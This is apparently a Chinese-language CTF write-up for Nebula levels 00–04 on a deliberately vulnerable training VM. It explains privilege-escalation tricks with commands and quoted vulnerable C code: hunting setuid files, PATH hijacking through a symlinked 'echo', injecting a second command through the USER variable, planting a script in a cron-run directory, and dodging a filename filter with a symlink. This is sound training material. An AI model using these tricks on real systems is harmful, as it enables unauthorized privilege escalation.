Exploit Exercises Nebula level00-04 Writeup
写在前面
上上个月成立watch0ut战队之后,开始准备并参与一些CTF比赛。队友大神Jack甩给我们exploit-exercises.com这个网站,让我们练习练习漏洞利用。
网站中把漏洞利用分为多类题型,其中Nebula最为简单,主要涉及Linux主机安全及利用的一些常识,可作为整个练习的开始。
另,本文会遵循能不用安装就安装,能不配置就不配置的最(偷)简(懒)策略来完成所有题型。
本文会记录我自己做题的思路和手法,供大家参考,也希望诸位能指出我理解或操作不慎处。
环境搭建
首先下载Nebula题目的光盘镜像,该ISO为LiveCD。因此可以不用安装,直接利用现成虚拟机修改为从该ISO启动即可。每次操作完整之后直接点“暂停”保存虚拟机状态即可,下次直接恢复。当然你也可以安装该ISO。
另外,我使用的光盘为exploit-exercises-nebula-5.iso,本系列Writeup全部在这个版本上完成。
Nebula
----------------------------------------------------------------------------------------------
Download exploit-exercises-nebula-5.iso
----------------------------------------------------------------------------------------------
Version 5
----------------------------------------------------------------------------------------------
Changes Moved from OVA to bootable CD format. Reduces issues with importing OVA files.
----------------------------------------------------------------------------------------------
SHA1 Checksum e82f807be06100bf3e048f82e899fb1fecc24e3a
统一规则
- 每次任务使用任务的level账户登录并执行flag账户权限可执行的getflag文件(一般是这个名字)。比如,任务1使用level01账户,密码也为level01,你需要去寻找方法获取flag01才可以执行的getflag文件并执行它。
- 当需要系统配置时,使用nebula账户,密码也为nebula,并利用sudo执行需要root权限的操作。
Nebula level00
This level requires you to find a Set User ID program that will run as the "flag00" account. You could also find this by carefully looking in top level directories in / for suspicious looking directories.
Alternatively, look at the find man page.
该题要求寻找一个可以SetUID的程序(该程序属于flag00账户)并运行它。你可以从/(根目录)开始寻找。
目标很明确,搜索一下属于flag00账户的带有SetUID权限的程序即可。果断man find,搜索一下和权限相关的参数,找到-perm
,并且看到该参数后加入-mode
可以指定匹配所有具有这个权限的文件(注意和mode
及/mode
的区别,这个-
意味着权限的包含关系)。
到这儿我们需要回顾一下Linux下权限的表示方式:Linux的fs中,所有文件/目录/设备等都具有三个级别的用户权限控制,分别是u所有者,g所属群组,o其他用户。对于每个级别,又能分别控制r读w写x执行权限。另外,还有SetUID和SetGID的特殊权限位。
权限表示的时候,rwx和无权限-
分别用数字4210表示,并执行位或运算,这样一个级别的用户权限就可以表示了(占用一个byte)。这种方法可以表示出三个不同用户级别的权限。同时加入最前面8bits的特殊权限位,就可以用4byte表示这个文件的完整权限。
例如:
u g o
rwx r-- r-- 0744
rwx --- --- 0700
rws rwx rwx 4777
rws rws rwx 6777
按照这个标准,我们这儿需要搜索的文件需要SetUID,因此可以构造权限表示为-u=s或者-4000,再考虑到针对文件搜索(限定类型为文件),因此可以构造如下命令(两者一致)。
find / -perm -u=s -type f -user flag00 > flag.txt
find / -perm -4000 -type f -user flag00 > flag.txt
之后查看flag.txt中内容,可以发现搜索到两个文件,执行第一个/bin/.../flag00
即可过关。
Nebula level01
There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?
题目说程序有漏洞允许任意程序执行。
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
system("/usr/bin/env echo and now what?");
}
程序逻辑很简单:SetUID和SetGID后执行环境变量指定的echo文件,这样and now what?
就是参数。因此马上能得到如下思路:
- 看到
/usr/bin/env
就立即反应过来可以从环境变量下手,修改后优先执行自己的程序。 - 需要运行getflag,而程序只能运行echo,因此要把echo和getflag关联上。
于是乎一气呵成执行以下命令:
ln -s /bin/getflag echo
PATH=/home/level01:$PATH
cd /home/flag01
./flag01
这里软连接需要创建在/home/level01
或/tmp
中,否则没有w权限。至此,此题拿下。
Nebula level02
There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?
和上一题一样的题干,还是找到可任意执行程序的漏洞。
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
char *buffer;
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
buffer = NULL;
asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
printf("about to call system(\"%s\")\n", buffer);
system(buffer);
}
还是环境变量,这次是$USER,反而简单了,直接截断原来的程序即可。上代码:
USER=";/bin/getflag;"
Over :D
Nebula level03
Check the home directory of flag03 and take note of the files there.
There is a crontab that is called every couple of minutes.
题目说检查flag03的home目录,注意里面的文件,同时有一个crontab任务每2分钟执行一次。
发现writeable.d目录和writeable.sh脚本。脚本内容如下:
for i in /home/flag03/writeable.d/* ; do
(ulimit -t 5; bash -x "$i")
rm -f "$i"
done
其中ulmint -t 5
控制CPU时间不超过5秒,bash -x "$i"
用于执行$i文件。执行完之后删除文件本身。因此,只需要在writeable.d目录下创建文件并执行指令即可。文件内容如下:
/bin/getflag > result.txt
等待一段时间,系统会触发这个.sh脚本,之后去看result.txt文件即可发现getflag已经执行。
当然,这儿如果要看具体的crontab的任务事件,用nebula账户登录,执行sudo crontab -u flag03 -l
即可。
Nebula level04
This level requires you to read the token file, but the code restricts the files that can be read. Find a way to bypass it :)
寻找方法绕开读取限制,读取token文件内容。
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
int main(int argc, char **argv, char **envp)
{
char buf[1024];
int fd, rc;
if(argc == 1) {
printf("%s [file to read]\n", argv[0]);
exit(EXIT_FAILURE);
}
if(strstr(argv[1], "token") != NULL) {
printf("You may not access '%s'\n", argv[1]);
exit(EXIT_FAILURE);
}
fd = open(argv[1], O_RDONLY);
if(fd == -1) {
err(EXIT_FAILURE, "Unable to open %s", argv[1]);
}
rc = read(fd, buf, sizeof(buf));
if(rc == -1) {
err(EXIT_FAILURE, "Unable to read fd %d", fd);
}
write(1, buf, rc);
}
flag04的home目录下有属于level04组的flag04可执行文件和一个token文件(无权限),因此需要调用flag04来读取token。 首先分析程序逻辑,程序有一个参数,但参数名不能是token(和前面一样,用软连接)。之后会读取这个参数为名字的文件,并把文件内容输出到屏幕(1是STD_OUT)。由于flag04目录没有w权限,因此软连接要创建到自己的家目录中。
ln -s /home/flag04/token ~/flag04passwd
/home/flag04/flag04 ~/flag04passwd
之后读取home目录下flag04passwd内容,为flag04密码,用flag04账户和获取的密码登陆后getflag。